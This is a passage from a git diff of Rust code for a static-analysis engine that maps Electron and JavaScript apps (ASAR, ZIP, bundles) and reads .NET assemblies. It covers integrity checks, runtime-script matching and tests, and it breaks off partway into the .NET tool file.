r in &a.rejected_names { + input.notes.push(format!("skipped ASAR entry with an unsafe name: {r}")); + } + let unpacked_root = PathBuf::from(format!("{}.unpacked", path.display())); + for e in a.entries.iter().filter(|e| e.kind == asar::AsarKind::File) { + ctx.cancel.check()?; + input.listing.push((e.path.clone(), e.size)); + if !wanted(&e.path, p.include_node_modules) || !budget.admit(e.size) { + continue; + } + if e.unpacked { + if let Ok(comps) = super::artifact_tools::safe_components(&e.path) { + let src = comps.iter().fold(unpacked_root.clone(), |acc, c| acc.join(c)); + if std::fs::symlink_metadata(&src).is_ok_and(|m| m.is_file()) + && let Ok(b) = std::fs::read(&src) + { + input.files.push(AppFile { path: e.path.clone(), bytes: b }); + } + } + continue; + } + match asar::file_bytes(&bytes, &a, e) { + Some(d) => { + if let Some(i) = &e.integrity + && i.algorithm.eq_ignore_ascii_case("sha256") + && sha256_hex(d) != i.hash + { + integrity.push(e.path.clone()); + } + input.files.push(AppFile { path: e.path.clone(), bytes: d.to_vec() }); + } + None => input.notes.push(format!("{}: data lies outside the archive", e.path)), + } + } + subject = Subject { kind: "asar".into(), sha256: Some(sha256_hex(&bytes)), name: Some(label) }; + } + InputFormat::Zip => { + input.format = "zip".into(); + let bytes = read_capped(&path, crate::target::MAX_TARGET_BYTES)?; + let z = zip::parse(&bytes, p.max_files.saturating_mul(4).max(1000)) + .map_err(|e| ToolError::new(ErrorCode::GarbledOutput, format!("{}: {e}", path.display())))?; + for e in z.entries.iter().filter(|e| !e.is_dir) { + ctx.cancel.check()?; + input.listing.push((e.name.clone(), e.uncompressed_size)); + if super::artifact_tools::safe_components(&e.name).is_err() { + input.notes.push(format!("skipped ZIP entry with an unsafe name: {}", e.name)); + continue; + } + if !wanted(&e.name, p.include_node_modules) || !budget.admit(e.uncompressed_size) { + continue; + } + match zip::read_entry(&bytes, e, p.max_file_bytes) { + Ok(d) => input.files.push(AppFile { path: e.name.trim_start_matches("./").to_string(), bytes: d }), + Err(err) => input.notes.push(format!("{}: {err}", e.name)), + } + } + subject = Subject { kind: "zip".into(), sha256: Some(sha256_hex(&bytes)), name: Some(label) }; + } + InputFormat::File | InputFormat::Auto => { + input.format = "file".into(); + let bytes = read_capped(&path, p.max_file_bytes)?; + subject = Subject { kind: "script".into(), sha256: Some(sha256_hex(&bytes)), name: Some(label.clone()) }; + input.listing.push((label.clone(), bytes.len() as u64)); + // A sibling source map is worth reading. + let map = path.with_file_name(format!("{label}.map")); + if let Ok(m) = std::fs::symlink_metadata(&map) + && m.is_file() + && m.len() <= p.max_file_bytes + && let Ok(mb) = std::fs::read(&map) + { + input.listing.push((format!("{label}.map"), mb.len() as u64)); + input.files.push(AppFile { path: format!("{label}.map"), bytes: mb }); + } + input.files.push(AppFile { path: label, bytes }); + } + } + for extra in &p.source_paths { + let ep = abs_path(extra, "source_paths entry")?; + let base = ep.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + if ep.is_dir() { + let skip = |_: &str| false; + let walked = + walk_dir(&ep, &WalkOptions { max_files: p.max_files, max_depth: 48, skip_dir: &skip, gitignore: false, include_hidden: false }, &ctx.cancel)?; + unlisted.extend(walked.unlisted.iter().map(|(rel, e)| (format!("{base}/{rel}"), e.clone()))); + for f in &walked.files { + let rel = format!("{base}/{}", f.rel); + input.listing.push((rel.clone(), f.size)); + if wanted(&rel, p.include_node_modules) + && budget.admit(f.size) + && let Ok(b) = std::fs::read(&f.abs) + { + input.files.push(AppFile { path: rel, bytes: b }); + } + } + } else if let Ok(b) = read_capped(&ep, p.max_file_bytes) { + input.listing.push((base.clone(), b.len() as u64)); + input.files.push(AppFile { path: base, bytes: b }); + } + } + if budget.skipped > 0 { + input.notes.push(format!("{} file(s) were listed but not read because of the size or count limits", budget.skipped)); + } + Ok((input, subject, integrity, unlisted)) +} + +fn read_head(path: &Path) -> Result, ToolError> { + use std::io::Read as _; + let mut f = std::fs::File::open(path).map_err(|e| ToolError::io(path.display(), e))?; + let mut buf = vec![0u8; 64]; + let n = f.read(&mut buf).map_err(|e| ToolError::io(path.display(), e))?; + buf.truncate(n); + Ok(buf) +} + +/// Load and analyse; shared with the application tools for path inputs. +/// A graph, its subject, its limitations and (files read, files listed). +pub(crate) type Analyzed = (AppGraph, Subject, Vec, (u64, u64)); + +pub(crate) fn analyze_to_graph(ctx: &Ctx<'_>, p: &AnalyzeParams) -> Result { + let (input, subject, integrity, unlisted) = load_app_input(ctx, p)?; + if !integrity.is_empty() && p.if_tampered == IntegrityPolicy::Fail { + return Err(ToolError::new( + ErrorCode::FileHashMismatch, + format!("{} ASAR file(s) do not match their integrity hash (first: {})", integrity.len(), integrity.first().map(String::as_str).unwrap_or("")), + ) + .with_remediation("Pass if_tampered=continue to analyse it anyway.") + .with_details(json!({"paths": integrity.iter().take(50).collect::>()}))); + } + let opts = AppOptions { max_nodes: p.max_nodes.clamp(16, 1_000_000), ..AppOptions::default() }; + let cancel = ctx.cancel.clone(); + let check = move || cancel.is_cancelled(); + let graph = analyze_application(&input, &opts, &check).map_err(|_| ToolError::cancelled())?; + let mut lims: Vec = graph.limitations.iter().map(|(c, m)| Limitation::new(c.clone(), m.clone())).collect(); + for path in &integrity { + lims.push(Limitation::new("integrity_mismatch", format!("{path} does not match its ASAR integrity hash"))); + } + lims.extend(super::artifact_tools::unlisted_limitation(&unlisted)); + lims.push(Limitation::new( + "static_only", + "Static reading only: code built at run time (eval, computed requires, remote content) is invisible; IPC pairs need literal channel names.", + )); + let read = input.files.len() as u64; + let listed = input.listing.len() as u64; + Ok((graph, subject, lims, (read, listed))) +} + +fn js_app_map(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AnalyzeParams = parse_params(params)?; + ctx.report(None, format!("Reading {}", p.input_path)); + let (g, subject, lims, (read, listed)) = analyze_to_graph(ctx, &p)?; + let name = g.package.as_ref().and_then(|x| x.get("product_name").or(x.get("name"))).and_then(Value::as_str).unwrap_or(&g.label).to_string(); + let version = g.package.as_ref().and_then(|x| x.get("version")).and_then(Value::as_str).map(|v| format!(" {v}")).unwrap_or_default(); + let what = match g.app_kind.as_str() { + "electron" => "Electron app", + "web" => "Web app", + "node" => "Node package", + _ => "JavaScript code", + }; + let summary = format!( + "{what} {name}{version}: {} source files, {} IPC channel(s) ({} paired), {} window(s), {} endpoint(s), {} route(s){}.", + g.modules.len(), + g.ipc.len(), + g.ipc.iter().filter(|c| c.paired).count(), + g.windows.len(), + g.endpoints.iter().filter(|e| e.get("api").and_then(Value::as_str) != Some("literal")).count(), + g.routes.len(), + if g.bundlers.is_empty() { String::new() } else { format!(", bundled with {}", g.bundlers.join("/")) } + ); + let mut result = serde_json::to_value(&g).map_err(|e| ToolError::internal(e.to_string()))?; + let total_modules = g.modules.len(); + if let Some(o) = result.as_object_mut() { + let page: Vec = g.modules.iter().skip(p.offset).take(p.limit.max(1)).filter_map(|m| serde_json::to_value(m).ok()).collect(); + o.insert("modules".into(), json!(page)); + o.insert("modules_total".into(), json!(total_modules)); + o.insert("summary".into(), json!(summary)); + } + let complete_modules = p.offset == 0 && p.limit >= total_modules; + // A folder that couldn't be listed holds files never counted, so the count can't be complete (#294). + let unlisted = lims.iter().any(|l| l.code == "unlisted_folders"); + let mut b = EvidenceBuilder::new("js_app_map", subject, env(ctx)) + .params(json!({"input_path": p.input_path, "include_node_modules": p.include_node_modules, "max_nodes": p.max_nodes, "offset": p.offset, "limit": p.limit, "source_paths": p.source_paths})) + .result(result) + .summary(summary) + .confidence(Confidence::Derived) + .limitations(lims) + .coverage(if complete_modules { Coverage { status: if read >= listed && !unlisted { craft_anything_evidence::CoverageStatus::Complete } else { craft_anything_evidence::CoverageStatus::Partial }, examined: Some(read), total: Some(listed), next_offset: None } } else { Coverage::page(p.limit.min(total_modules.saturating_sub(p.offset)) as u64, total_modules as u64, p.offset as u64) }) + .location(Location::new("path", p.input_path.clone())); + if !complete_modules { + b = b.limitation(Limitation::new("paged_modules", "Only one page of module summaries is included; tools that take this evidence need every module, so pass the input path to them or use offset=0 with a limit above modules_total.")); + } + if let Some(m) = &g.entry_points.main { + b = b.location(Location::new("module", m.clone()).with_label("main")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +/// Read an application graph from evidence or analyse a path. Returns the graph and the evidence id. +pub(crate) fn load_graph(ctx: &Ctx<'_>, v: &Value) -> Result<(AppGraph, Option), ToolError> { + if let Some(path) = is_path_input(v) { + let (g, _, _, _) = analyze_to_graph(ctx, &AnalyzeParams::for_path(path))?; + return Ok((g, None)); + } + let ev = resolve_evidence_input(ctx, v, &["js_app_map"])?; + let total = ev.result.get("modules_total").and_then(Value::as_u64).unwrap_or(0); + let shown = ev.result.get("modules").and_then(Value::as_array).map_or(0, Vec::len) as u64; + let mut g: AppGraph = + serde_json::from_value(ev.result.clone()).map_err(|e| ToolError::invalid(format!("evidence {} does not hold an application graph: {e}", ev.id)))?; + if shown < total { + // A paged record: re-analyse the recorded input for the full module list. + if let Some(path) = ev.params.get("input_path").and_then(Value::as_str) { + let (full, _, _, _) = analyze_to_graph(ctx, &AnalyzeParams::for_path(path))?; + if full.graph_id != g.graph_id { + return Err(ToolError::new(ErrorCode::FileChanged, format!("{path} changed since evidence {} was recorded", ev.id))); + } + g = full; + } + } + Ok((g, Some(ev.id))) +} + +// --------------------------------------------------------------------------------------------- + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct StaticLayer { + /// js_app_map evidence (inline or {"kind":"saved","evidence_id":…}) or an absolute path. + pub evidence: Value, + /// `application`, `cache` or `assets`. + #[serde(default = "default_role")] + pub role: String, +} + +fn default_role() -> String { + "application".into() +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct RuntimeScriptParam { + pub url: String, + #[serde(default)] + pub sha256: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ReconcileParams { + /// The static side: one or more application graphs. + pub static_evidence: Vec, + /// Runtime evidence that lists scripts (objects with `url` and `sha256`), inline or retained. + #[serde(default)] + pub runtime_evidence: Vec, + /// Runtime scripts given directly. + #[serde(default)] + pub runtime_scripts: Vec, +} + +fn js_runtime_code_match(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ReconcileParams = parse_params(params)?; + if p.static_evidence.is_empty() { + return Err(ToolError::invalid("static_evidence is empty")); + } + let mut graphs = Vec::new(); + let mut links = Vec::new(); + for l in p.static_evidence.iter().take(16) { + let (g, id) = load_graph(ctx, &l.evidence)?; + links.extend(id); + graphs.push((l.role.clone(), g)); + } + let mut scripts: Vec = p.runtime_scripts.iter().map(|s| RuntimeScript { url: s.url.clone(), sha256: s.sha256.clone() }).collect(); + for o in p.runtime_evidence.iter().take(64) { + let ev = resolve_evidence_input(ctx, o, &[])?; + scripts.extend(runtime_scripts_from(&ev.result)); + links.push(ev.id); + } + if scripts.is_empty() { + return Err(ToolError::invalid("no runtime scripts found in runtime_evidence or runtime_scripts") + .with_remediation("Pass captures that list scripts with url and sha256, or runtime_scripts directly.")); + } + let refs: Vec<(String, &AppGraph)> = graphs.iter().map(|(r, g)| (r.clone(), g)).collect(); + let r = reconcile(&refs, &scripts); + let summary = format!( + "Reconciled {} static layer(s) with {} runtime script(s): {}.", + graphs.len(), + scripts.len(), + r["counts"].as_object().map(|m| m.iter().map(|(k, v)| format!("{v} {k}")).collect::>().join(", ")).unwrap_or_default() + ); + let mut b = EvidenceBuilder::new( + "js_runtime_code_match", + Subject { kind: "js-app".into(), sha256: None, name: graphs.first().map(|(_, g)| g.label.clone()) }, + env(ctx), + ) + .params(json!({"layers": graphs.iter().map(|(r, g)| json!({"role": r, "graph_id": g.graph_id})).collect::>(), "runtime_scripts": scripts.len()})) + .result(r) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new("absence_is_not_proof", "'not observed' means the capture didn't see it load, not that it never runs.")); + for id in links { + b = b.link(id); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +#[cfg(test)] +mod tests { + use crate::{CallOptions, Caller, Engine}; + use craft_anything_evidence::ToolError; + use craft_anything_testkit::electron as fx; + use serde_json::{Value, json}; + + fn call(e: &Engine, id: &str, p: Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Mcp)).map(|o| o.to_json()) + } + + #[test] + fn analyzes_folder_and_asar_identically() { + let dir = tempfile::tempdir().unwrap(); + let root = fx::write_notes_app(dir.path()).unwrap(); + let asar = dir.path().join("app.asar"); + std::fs::write(&asar, fx::notes_app_asar()).unwrap(); + let e = Engine::new(crate::testing::session()); + let a = call(&e, "js_app_map", json!({"input_path": root})).unwrap(); + let b = call(&e, "js_app_map", json!({"input_path": asar})).unwrap(); + assert_eq!(a["result"]["graph_id"], b["result"]["graph_id"]); + assert_eq!(a["result"]["app_kind"], "electron"); + assert_eq!(a["confidence"], "derived"); + assert!(a["summary"].as_str().unwrap().contains("Electron app Notes 1.0.0"), "{}", a["summary"]); + let ch = a["result"]["ipc"].as_array().unwrap().iter().find(|c| c["channel"] == "export-notes").unwrap().clone(); + assert_eq!(ch["paired"], true); + assert_eq!(a["result"]["windows"][0]["web_preferences"]["contextIsolation"], true); + // A packaged folder with only resources/app.asar is analysed through the archive. + let packaged = dir.path().join("Notes-linux"); + std::fs::create_dir_all(packaged.join("resources")).unwrap(); + std::fs::write(packaged.join("resources/app.asar"), fx::notes_app_asar()).unwrap(); + let c = call(&e, "js_app_map", json!({"input_path": packaged})).unwrap(); + assert_eq!(c["result"]["graph_id"], a["result"]["graph_id"]); + } + + #[test] + fn single_bundle_file_and_bad_inputs() { + let dir = tempfile::tempdir().unwrap(); + let f = dir.path().join("main.js"); + std::fs::write(&f, fx::WEBPACK_BUNDLE).unwrap(); + let e = Engine::new(crate::testing::session()); + let a = call(&e, "js_app_map", json!({"input_path": f})).unwrap(); + assert_eq!(a["result"]["bundlers"], json!(["webpack"])); + assert_eq!(a["result"]["modules"][0]["bundle_modules"].as_array().unwrap().len(), 3); + assert!(call(&e, "js_app_map", json!({"input_path": "rel.js"})).is_err()); + assert!(call(&e, "js_app_map", json!({"input_path": dir.path().join("missing")})).is_err()); + assert!(call(&e, "js_app_map", json!({"input_path": f, "bogus": 1})).is_err()); + let junk = dir.path().join("junk.asar"); + std::fs::write(&junk, b"\x04\0\0\0\xff\xff\xff\xff garbage").unwrap(); + assert!(call(&e, "js_app_map", json!({"input_path": junk, "format": "asar"})).is_err()); + } + + /// Smoke test against a real app: `CRAFT_SMOKE_PATH=/path/app.asar cargo test -- --ignored smoke --nocapture`. + #[test] + #[ignore] + fn smoke_real_app() { + let Ok(path) = std::env::var("CRAFT_SMOKE_PATH") else { return }; + let e = Engine::new(crate::testing::session()); + let t = std::time::Instant::now(); + let a = call(&e, "js_app_map", json!({"input_path": path, "if_tampered": "continue", "limit": 5})).unwrap(); + println!("{} in {:?}", a["summary"], t.elapsed()); + println!("stats {}", a["result"]["stats"]); + println!("bundlers {} limitations {}", a["result"]["bundlers"], a["limitations"]); + let ch = a["result"]["ipc"].as_array().map(|v| v.iter().take(5).map(|c| c["channel"].clone()).collect::>()); + println!("channels {ch:?}"); + println!("windows {}", a["result"]["windows"].to_string().chars().take(800).collect::()); + if let Some(c) = a["result"]["ipc"].as_array().and_then(|v| v.iter().find(|c| c["paired"] == true)) { + let t = call( + &e, + "app_feature_follow", + json!({"application": {"kind": "saved", "evidence_id": a["id"]}, "seed": {"kind": "ipc-channel", "value": c["channel"], "match": "exact"}}), + ) + .unwrap(); + println!("story: {}", t["summary"]); + } + } + + #[test] + fn reconcile_with_inline_scripts() { + let dir = tempfile::tempdir().unwrap(); + let root = fx::write_notes_app(dir.path()).unwrap(); + let e = Engine::new(crate::testing::session()); + let a = call(&e, "js_app_map", json!({"input_path": root})).unwrap(); + let id = a["id"].as_str().unwrap(); + let sha = craft_anything_evidence::sha256_hex(fx::RENDERER_JS.as_bytes()); + let r = call( + &e, + "js_runtime_code_match", + json!({ + "static_evidence": [{"evidence": {"kind": "saved", "evidence_id": id}}], + "runtime_scripts": [{"url": "file:///app/renderer/app.js", "sha256": sha}], + }), + ) + .unwrap(); + assert_eq!(r["result"]["counts"]["loaded"], 1); + assert_eq!(r["links"][0], id); + // Inline evidence that was tampered with is refused. + let mut tampered = a.clone(); + tampered["result"]["app_kind"] = json!("web"); + let err = call(&e, "js_runtime_code_match", json!({"static_evidence": [{"evidence": tampered}], "runtime_scripts": [{"url": "x"}]})).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::EvidenceHashMismatch); + } + + /// #294: a folder that couldn't be listed made a smaller graph that looked complete. + #[cfg(unix)] + #[test] + fn a_folder_that_cant_be_listed_is_said_and_leaves_coverage_partial() { + use std::os::unix::fs::PermissionsExt; + let dir = tempfile::tempdir().unwrap(); + let bundle = dir.path().join("bundle"); + let closed = bundle.join("closed"); + std::fs::create_dir_all(&closed).unwrap(); + std::fs::write(closed.join("hidden.js"), "console.log('hidden');\n").unwrap(); + std::fs::write(bundle.join("visible.js"), "console.log('visible');\n").unwrap(); + let main = dir.path().join("main.js"); + std::fs::write(&main, "console.log('main');\n").unwrap(); + let extras = dir.path().join("extras"); + std::fs::create_dir_all(extras.join("closed")).unwrap(); + std::fs::write(extras.join("closed/extra.js"), "console.log('extra');\n").unwrap(); + let e = Engine::new(crate::testing::session()); + let modules = |v: &Value| v["result"]["modules"].as_array().unwrap().iter().map(|m| m["path"].as_str().unwrap().to_string()).collect::>(); + let readable = call(&e, "js_app_map", json!({"input_path": bundle})).unwrap(); + assert_eq!(modules(&readable), ["closed/hidden.js", "visible.js"]); + let with_extra = json!({"input_path": main, "source_paths": [extras]}); + assert_eq!(modules(&call(&e, "js_app_map", with_extra.clone()).unwrap()).len(), 2); + + let deny = |p: &std::path::Path| std::fs::set_permissions(p, std::fs::Permissions::from_mode(0o000)).unwrap(); + let allow = |p: &std::path::Path| std::fs::set_permissions(p, std::fs::Permissions::from_mode(0o755)).unwrap(); + deny(&closed); + if std::fs::read_dir(&closed).is_ok() { + allow(&closed); + return; // Run as root: nothing is unreadable. + } + let child = call(&e, "js_app_map", json!({"input_path": bundle})); + let root = call(&e, "js_app_map", json!({"input_path": closed})); + allow(&closed); + deny(&extras.join("closed")); + let extra_child = call(&e, "js_app_map", with_extra.clone()); + allow(&extras.join("closed")); + deny(&extras); + let extra_root = call(&e, "js_app_map", with_extra.clone()); + allow(&extras); + + for v in [child.unwrap(), extra_child.unwrap()] { + assert_eq!(v["coverage"]["status"], "partial", "{v}"); + let lim = v["limitations"].as_array().unwrap().iter().find(|l| l["code"] == "unlisted_folders").cloned(); + assert!(lim.is_some_and(|l| l["message"].as_str().unwrap().contains("closed")), "{v}"); + } + assert!(root.is_err(), "a root folder that can't be listed is an error, not an empty graph"); + assert!(extra_root.is_err(), "so is an extra source folder that can't be listed"); + let forced = call(&e, "js_app_map", json!({"input_path": main, "format": "directory"})); + assert!(forced.is_err(), "a regular file read as a folder is an error: {forced:?}"); + assert_eq!(call(&e, "js_app_map", json!({"input_path": bundle})).unwrap()["result"], readable["result"]); + } +} diff --git a/desktop/crates/engine/src/tools/managed_tools.rs b/desktop/crates/engine/src/tools/managed_tools.rs new file mode 100644 index 0000000..b6de1d6 --- /dev/null +++ b/desktop/crates/engine/src/tools/managed_tools.rs @@ -0,0 +1,1137 @@ +//! .NET assemblies with the built-in ECMA-335 reader: inventory, members (with decoded IL facts), +//! native boundaries, and workflows over that evidence: cross-build member comparison, P/Invoke +//! verification against native exports, checking decompiled C# against metadata, and an +//! application graph. + +use super::artifact_tools::{WalkOptions, is_path_input, resolve_evidence_input, walk_dir}; +use super::native_common::{page, spec}; +use super::static_input::{Input, builder, format_err, load, load_path}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, CoverageStatus, ErrorCode, Limitation, Location, Subject, ToolError}; +use craft_anything_formats::dotnet::{self, Assembly, MemberOptions, Members, MethodInfo, NativeBoundaries, csharp}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet}; +use std::path::PathBuf; + +/// Largest assembly read (the parser's own limit). +const MAX_ASSEMBLY: u64 = 128 << 20; + +pub fn specs() -> Vec { + use Toolset::Managed; + let e = Effects::EVIDENCE; + vec![ + spec( + "managed_assembly_show", + ".NET assembly overview", + "Built-in ECMA-335 reader: PE/CLI header (runtime version, IL-only/32-bit/strong-name flags, entry point, ReadyToRun), metadata streams and table row counts, assembly identity, assembly and module references, manifest resources, forwarded types, assembly attributes (TargetFramework decoded) and a classification (runtime family, implementation, managed architecture). Uses the active target unless path is given.", + "See what a .NET program is: its name, version, which .NET it targets and what it depends on.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_assembly_show, + ), + spec( + "managed_members_list", + ".NET types and methods", + "Types, fields, properties, events and methods of a .NET assembly with C#-like signatures; for each IL method body: header kind, max stack, locals, exception clauses, IL size, il_hash, an il_shape_hash that survives renames, call targets, field accesses and string literals (optionally the IL listing). Filter with type_names; paged by type (offset/limit).", + "List the classes and methods inside a .NET program and what each method calls.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_members_list, + ), + spec( + "managed_native_calls_list", + ".NET native calls", + "Where a .NET assembly crosses into native code: P/Invoke (DllImport) rows with module, entry point, charset, calling convention, SetLastError, best-fit and PreserveSig; internal calls; native-code (mixed-mode) and runtime-implemented methods; UnmanagedCallersOnly and LibraryImport declarations; module references and vtable fixups.", + "See which native (non-.NET) libraries and functions a .NET program calls.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_native_calls_list, + ), + spec( + "managed_assemblies_compare", + "Compare two .NET builds", + "Compare the members of two assemblies (managed_members_list evidence or absolute paths) with tiered unique matching: identical IL and signature (survives renames), then type+name+signature, then the same structure. Reports unchanged, changed (body differs), renamed or moved, added, removed and ambiguous methods, plus added/removed types and fields.", + "See which methods changed between two versions of a .NET program.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_assemblies_compare, + ), + spec( + "managed_native_calls_verify", + "Check .NET native calls", + "Check each P/Invoke of a managed assembly (managed_native_calls_list evidence or a path) against the exports of native libraries (native_layout_show evidence or absolute paths): found, found as an A/W or stdcall-decorated variant, case mismatch, missing, or undetermined when the module wasn't supplied.", + "Check that the native functions a .NET program calls really exist in the libraries it ships with.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_native_calls_verify, + ), + spec( + "managed_reconstruction_check", + "Check decompiled C#", + "Check user-supplied C# (a file, a folder of .cs files, or text) against the assembly's member evidence: declarations matched, signature mismatches, members missing from the source, extra source members, compiler-implicit members, and missing/extra types. Declarations only, not behaviour.", + "Check that rebuilt or decompiled C# source declares the same classes and methods as the original program.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_reconstruction_check, + ), + spec( + "managed_app_graph_build", + ".NET application graph", + "Project a .NET assembly (managed evidence or a path) into an application graph: assembly, referenced assemblies, types, methods, external members, native modules and resources, joined by contains, references, inherits, calls and pinvoke edges. Bounded by max_nodes.", + "Draw a map of a .NET program: its parts and how they call each other and native code.", + Managed, + e, + Requires::Nothing, + schema_of::, + managed_app_graph_build, + ), + ] +} + +// --------------------------------------------------------------------------------------------- +// Params + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PathParams { + /// Absolute path of a .NET assembly (.dll/.exe); the active target when omitted. + #[serde(default)] + pub path: Option, +} + +fn d_limit() -> usize { + 100 +} +fn d_max_instructions() -> usize { + 20_000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct MembersParams { + /// Absolute path of a .NET assembly; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Only these types (full name like `Ns.Type`, nested as `Ns.Outer/Inner`, or simple name). + #[serde(default)] + pub type_names: Option>, + /// First type of the page. + #[serde(default)] + pub offset: usize, + /// Types per page (1–5000). + #[serde(default = "d_limit")] + pub limit: usize, + /// Include each method's IL listing. + #[serde(default)] + pub include_il: bool, + /// Most instructions decoded per method (1–1000000). + #[serde(default = "d_max_instructions")] + pub max_instructions: usize, +} + +fn d_rows() -> usize { + 500 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CompareParams { + /// The older build: managed_members_list evidence (inline, {"kind":"saved","evidence_id":…} or an id) or an absolute path. + pub left: Value, + /// The newer build, in the same forms. + pub right: Value, + /// Most rows per list. + #[serde(default = "d_rows")] + pub max_rows: usize, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct VerifyParams { + /// The managed side: managed_native_calls_list evidence or an absolute assembly path. + pub managed: Value, + /// Native libraries: native_layout_show evidence or absolute paths (ELF, PE or Mach-O). + pub native: Vec, +} + +fn d_max_files() -> usize { + 5000 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ImportParams { + /// The assembly: managed_members_list evidence or an absolute path. + pub members: Value, + /// Absolute path of a .cs file or a folder of .cs files. + #[serde(default)] + pub source_path: Option, + /// C# source text (instead of source_path). + #[serde(default)] + pub source_text: Option, + /// Most .cs files read from a folder. + #[serde(default = "d_max_files")] + pub max_files: usize, + /// Most rows per list. + #[serde(default = "d_rows")] + pub max_rows: usize, +} + +fn d_nodes() -> usize { + 2000 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct GraphParams { + /// Managed evidence (managed_assembly_show, managed_members_list or managed_native_calls_list) or an absolute path; the active target when omitted. + #[serde(default)] + pub input: Option, + /// Most nodes (10–20000). + #[serde(default = "d_nodes")] + pub max_nodes: usize, +} + +// --------------------------------------------------------------------------------------------- +// Helpers + +fn open_assembly(input: &Input) -> Result, ToolError> { + dotnet::open(&input.bytes).map_err(|e| { + format_err(e, "a .NET assembly").with_remediation("Pass a .NET .dll or .exe (a PE file with a CLI header); run triage to check what the file is.") + }) +} + +/// An assembly named by evidence (re-read from its recorded path and checked unchanged) or a path. +struct ManagedSource { + input: Input, + evidence_id: Option, + type_names: Option>, +} + +const MANAGED_OPS: &[&str] = &["managed_assembly_show", "managed_members_list", "managed_native_calls_list"]; + +fn managed_source(ctx: &Ctx<'_>, v: &Value, ops: &[&str]) -> Result { + if let Some(p) = is_path_input(v) { + return Ok(ManagedSource { input: load_path(p, MAX_ASSEMBLY)?, evidence_id: None, type_names: None }); + } + let ev = resolve_evidence_input(ctx, v, ops)?; + let path = ev.params.get("path").and_then(Value::as_str).ok_or_else(|| ToolError::invalid(format!("evidence {} records no path", ev.id)))?; + let input = load_path(path, MAX_ASSEMBLY)?; + if input.subject.sha256 != ev.subject.sha256 { + return Err(ToolError::new(ErrorCode::FileChanged, format!("{path} changed since evidence {} was recorded", ev.id)) + .with_remediation("Run the inspect tool again, or pass the path directly.")); + } + let type_names = ev.params.get("type_names").and_then(|t| serde_json::from_value(t.clone()).ok()).flatten(); + Ok(ManagedSource { input, evidence_id: Some(ev.id), type_names }) +} + +fn managed_limitations(a: &Assembly<'_>) -> Vec { + let mut l = Vec::new(); + if a.pe.ready_to_run { + l.push(Limitation::new( + "ready_to_run", + "Precompiled (ReadyToRun) native code is present; this reader describes the IL and metadata, not the native code.", + )); + } + if a.pe.cli.flags & dotnet::pe::COMIMAGE_FLAGS_ILONLY == 0 { + l.push(Limitation::new("mixed_mode", "The image is not IL-only (mixed-mode); native code inside it is not described here.")); + } + for w in a.md.warnings.iter().take(20) { + l.push(Limitation::new("metadata", w.clone())); + } + l +} + +fn member_options(type_names: Option>, include_il: bool, max_instructions: usize) -> MemberOptions { + MemberOptions { type_filter: type_names, include_il, max_instructions, max_types: 0, skip_bodies: false } +} + +// --------------------------------------------------------------------------------------------- +// Static tools + +fn managed_assembly_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PathParams = parse_params(params)?; + let input = load(ctx, p.path.as_deref(), MAX_ASSEMBLY)?; + let a = open_assembly(&input)?; + let inv = dotnet::inventory(&a); + let md = &a.md; + let types = md.rows(dotnet::meta::t::TYPE_DEF); + let methods = md.rows(dotnet::meta::t::METHOD_DEF); + let ident = inv.assembly.as_ref().map(|x| format!("{} {}", x.name, x.version)).unwrap_or_else(|| format!("module {}", input.name)); + let summary = format!( + "{ident}: {} ({}, {}, {}), {types} types, {methods} methods, {} assembly references, {} module references{}.", + if inv.is_dll { "library" } else { "program" }, + inv.classification.dotnet_family, + inv.classification.implementation, + inv.classification.dotnet_arch, + inv.assembly_refs.len(), + inv.module_refs.len(), + inv.target_frameworks.first().map(|t| format!(", targets {t}")).unwrap_or_default() + ); + let mut lims = managed_limitations(&a); + lims.push(Limitation::new("static_only", "Read from the file only; nothing was loaded or run, so reflection and runtime-generated code are not seen.")); + let result = serde_json::to_value(&inv).unwrap_or(Value::Null); + let ev = builder(ctx, "managed_assembly_show", input.subject.clone(), json!({"path": input.path})) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(Coverage::complete(1)) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +fn managed_members_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MembersParams = parse_params(params)?; + if !(1..=1_000_000).contains(&p.max_instructions) { + return Err(ToolError::invalid("max_instructions must be 1..=1000000")); + } + let input = load(ctx, p.path.as_deref(), MAX_ASSEMBLY)?; + let a = open_assembly(&input)?; + ctx.report(None, format!("Reading members of {}", input.name)); + let m = dotnet::members(&a, &member_options(p.type_names.clone(), p.include_il, 